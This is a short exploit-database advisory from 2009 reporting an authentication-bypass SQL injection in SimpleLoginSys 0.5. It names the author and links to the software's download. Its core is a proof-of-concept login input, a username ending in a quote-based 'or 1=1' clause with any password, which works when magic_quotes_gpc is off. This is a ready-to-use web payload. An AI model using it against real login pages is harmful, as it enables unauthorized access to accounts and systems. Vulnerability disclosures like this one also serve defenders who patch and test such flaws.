[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : SimpleLoginSys 0.5 (Auth Bypass) SQL Injection Vulnerability
# Published : 2009-08-03
# Author : SirGod
# Previous Title : TT Web Site Manager 0.5 (Auth Bypass) SQL Injection Vulnerability
# Next Title : simplePHPWeb 0.2 (files.php) Authentication Bypass Vulnerability
####################################################################################
[+] SimpleLoginSys v0.5 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
[+] download : http://sourceforge.net/projects/simplesiteadmin/files/simpleloginsys/SimpleLoginSys%20v0.5/simpleloginsys0.5.zip/download
####################################################################################
[+] SQL Injection (Auth Bypass)
- Note : magic_quotes_gpc = off
- PoC
Username : [REAL_NICKNAME] ' or ' 1=1
Password : anything
####################################################################################
# www.Syue.com [2009-08-03]